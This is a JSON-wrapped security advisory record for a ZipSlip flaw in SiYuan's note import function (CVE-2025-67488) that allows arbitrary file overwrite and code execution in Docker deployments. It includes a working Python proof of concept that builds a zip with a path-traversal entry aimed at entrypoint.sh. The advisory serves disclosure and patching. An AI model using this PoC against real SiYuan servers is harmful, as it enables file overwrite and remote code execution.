{"id":"GHSA-gqfv-g4v7-m366","revision":"dd61da4e9f1f439e88144981e65dbf1a","records":[{"revision":"dd61da4e9f1f439e88144981e65dbf1a","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-gqfv-g4v7-m366","aliases":["CVE-2025-67488","GO-2025-4221"],"title":"SiYuan: ZipSlip -> Arbitrary File Overwrite -> RCE","description":"### Summary\nFunction [**importZipMd**](https://github.com/siyuan-note/siyuan/blob/dae6158860cc704e353454565c96e874278c6f47/kernel/api/import.go#L190) is vulnerable to **ZipSlip** which allows an authenticated user to overwrite files on the system.\n\n### Details\nAn authenticated user with access to the import functionality in notes is able to overwrite any file on the system, the vulnerable function is  [**importZipMd**](https://github.com/siyuan-note/siyuan/blob/dae6158860cc704e353454565c96e874278c6f47/kernel/api/import.go#L190), this can escalate to full code execution under some circumstances, for example using the official **docker image** it is possible to overwrite **entrypoint.sh** and after a container restart it will execute the changed code causing remote code execution.\n\n### PoC\nCode used to generate the ZipSlip:\n```python\n#!/usr/bin/env python3\nimport sys, base64, zipfile, io, time\n\ndef prepare_zipslip(filename):\n    orgfile1 = open('Test.md','rb').read()\n    payload =  open('entrypoint.sh','rb').read() #b\"testpayload\"\n    \n    zipslip = io.BytesIO()\n    with zipfile.ZipFile(zipslip, 'w', compression=zipfile.ZIP_DEFLATED) as zipf:        \n        info = zipfile.ZipInfo('Test.md')\n        mtime = time.time()\n        t = time.localtime(mtime)\n        info.date_time = (t.tm_year, t.tm_mon, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec)\n        zipf.writestr(info, orgfile1)\n        \n        info = zipfile.ZipInfo(filename)\n        mtime = time.time()\n        t = time.localtime(mtime)\n        info.date_time = (t.tm_year, t.tm_mon, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec)\n        zipf.writestr(info, payload)\n    return zipslip.getvalue()\n\ngz = prepare_zipslip('../../../../../../../../../../opt/siyuan/entrypoint.sh')\nopen('exp.zip', 'wb').write(gz)\n```\n\n### Impact\nThe exploit is possible only if the attacker has access to **import** functionality. It's possible to achieve code execution and some persistence within the container","state":0,"publishedAt":"2025-12-09T17:18:04+00:00","modifiedAt":"2025-12-15T20:55:54.536369+00:00","affected":[{"ecosystem":"Go","name":"github.com/siyuan-note/siyuan/kernel","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"last_affected","version":"0.0.0-20251202123337-6ef83b42c7ce"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/siyuan-note/siyuan/security/advisories/GHSA-gqfv-g4v7-m366","https://nvd.nist.gov/vuln/detail/CVE-2025-67488","https://github.com/siyuan-note/siyuan","https://github.com/siyuan-note/siyuan/blob/dae6158860cc704e353454565c96e874278c6f47/kernel/api/import.go#L190"],"sourceUrl":"https://github.com/advisories/GHSA-gqfv-g4v7-m366","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-gqfv-g4v7-m366","identifiers":["GHSA-gqfv-g4v7-m366","CVE-2025-67488","GO-2025-4221"]},"retained":false,"historicalAffected":[]}],"coverage":[]}